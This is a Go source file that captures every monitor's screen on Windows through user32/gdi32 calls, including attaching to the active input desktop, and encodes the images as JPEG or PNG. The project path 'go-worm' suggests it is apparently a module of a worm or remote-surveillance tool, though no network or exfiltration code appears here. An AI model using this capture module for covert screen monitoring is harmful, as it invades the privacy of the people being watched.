go-worm/lib/screenshot/screenshot.go

package screenshot

import (
	"bytes"
	"errors"
	"image"
	"image/jpeg"
	"image/png"
	"runtime"
	"syscall"
	"unsafe"

	"tea.chunkbyte.com/kato/go-worm/lib/models"
)

var ErrMonitorNotFound = errors.New("monitor not found")

var (
	user32                  = syscall.NewLazyDLL("user32.dll")
	gdi32                   = syscall.NewLazyDLL("gdi32.dll")
	procOpenInputDesktop    = user32.NewProc("OpenInputDesktop")
	procSetThreadDesktop    = user32.NewProc("SetThreadDesktop")
	procCloseDesktop        = user32.NewProc("CloseDesktop")
	procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
	procGetDC               = user32.NewProc("GetDC")
	procReleaseDC           = user32.NewProc("ReleaseDC")
	procCreateCompatibleDC  = gdi32.NewProc("CreateCompatibleDC")
	procDeleteDC            = gdi32.NewProc("DeleteDC")
	procCreateDIBSection    = gdi32.NewProc("CreateDIBSection")
	procDeleteObject        = gdi32.NewProc("DeleteObject")
	procSelectObject        = gdi32.NewProc("SelectObject")
	procBitBlt              = gdi32.NewProc("BitBlt")
)

type rect struct {
	Left, Top, Right, Bottom int32
}

type bitmapInfoHeader struct {
	Size          uint32
	Width         int32
	Height        int32
	Planes        uint16
	BitCount      uint16
	Compression   uint32
	SizeImage     uint32
	XPelsPerMeter int32
	YPelsPerMeter int32
	ClrUsed       uint32
	ClrImportant  uint32
}

type bitmapInfo struct {
	Header bitmapInfoHeader
	Colors [1]uint32
}

func Capture(format string, quality int) ([]models.CapturedImage, error) {
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	if err := attachInputDesktop(); err != nil {
		return nil, err
	}
	monitors, err := enumerateMonitors()
	if err != nil {
		return nil, err
	}
	if len(monitors) == 0 {
		return nil, errors.New("no displays found")
	}
	result := make([]models.CapturedImage, 0, len(monitors))
	for _, monitor := range monitors {
		frame, err := captureAndEncode(monitor, format, quality)
		if err != nil {
			return nil, err
		}
		result = append(result, frame)
	}
	return result, nil
}

func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	if err := attachInputDesktop(); err != nil {
		return models.CapturedImage{}, err
	}
	monitors, err := enumerateMonitors()
	if err != nil {
		return models.CapturedImage{}, err
	}
	if index < 0 || index >= len(monitors) {
		return models.CapturedImage{}, ErrMonitorNotFound
	}
	return captureAndEncode(monitors[index], format, quality)
}

func MonitorCount() (int, error) {
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	if err := attachInputDesktop(); err != nil {
		return 0, err
	}
	monitors, err := enumerateMonitors()
	if err != nil {
		return 0, err
	}
	return len(monitors), nil
}

func MonitorBounds(index int) (left, top, width, height int, err error) {
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	if err := attachInputDesktop(); err != nil {
		return 0, 0, 0, 0, err
	}
	monitors, err := enumerateMonitors()
	if err != nil {
		return 0, 0, 0, 0, err
	}
	if index < 0 || index >= len(monitors) {
		return 0, 0, 0, 0, ErrMonitorNotFound
	}
	r := monitors[index]
	return int(r.Left), int(r.Top), int(r.Right - r.Left), int(r.Bottom - r.Top), nil
}

func captureAndEncode(monitor rect, format string, quality int) (models.CapturedImage, error) {
	img, err := captureRect(monitor)
	if err != nil {
		return models.CapturedImage{}, err
	}
	data, contentType, err := encodeImage(img, format, quality)
	if err != nil {
		return models.CapturedImage{}, err
	}
	return models.CapturedImage{
		ContentType: contentType,
		Data:        data,
		Left:        int(monitor.Left),
		Top:         int(monitor.Top),
		Width:       int(monitor.Right - monitor.Left),
		Height:      int(monitor.Bottom - monitor.Top),
	}, nil
}

func attachInputDesktop() error {
	h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
	if h == 0 {
		return err
	}
	defer procCloseDesktop.Call(h)
	ok, _, err := procSetThreadDesktop.Call(h)
	if ok == 0 {
		return err
	}
	return nil
}

func enumerateMonitors() ([]rect, error) {
	var monitors []rect
	callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
		if monitorRect != 0 {
			monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
		}
		return 1
	})
	ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
	if ok == 0 {
		return nil, err
	}
	return monitors, nil
}

func captureRect(r rect) (*image.RGBA, error) {
	width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
	if width <= 0 || height <= 0 {
		return nil, errors.New("invalid monitor dimensions")
	}
	screenDC, _, err := procGetDC.Call(0)
	if screenDC == 0 {
		return nil, err
	}
	defer procReleaseDC.Call(0, screenDC)
	memDC, _, err := procCreateCompatibleDC.Call(screenDC)
	if memDC == 0 {
		return nil, err
	}
	defer procDeleteDC.Call(memDC)
	bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
	var bits unsafe.Pointer
	bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
	if bitmap == 0 || bits == nil {
		return nil, err
	}
	defer procDeleteObject.Call(bitmap)
	old, _, _ := procSelectObject.Call(memDC, bitmap)
	defer procSelectObject.Call(memDC, old)
	const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
	ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
	if ok == 0 {
		return nil, err
	}
	raw := unsafe.Slice((*byte)(bits), width*height*4)
	pix := make([]byte, len(raw))
	for i := 0; i < len(raw); i += 4 {
		pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
	}
	return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
}

func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
	var buffer bytes.Buffer
	if format == "jpeg" {
		err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
		return buffer.Bytes(), "image/jpeg", err
	}
	err := png.Encode(&buffer, img)
	return buffer.Bytes(), "image/png", err
}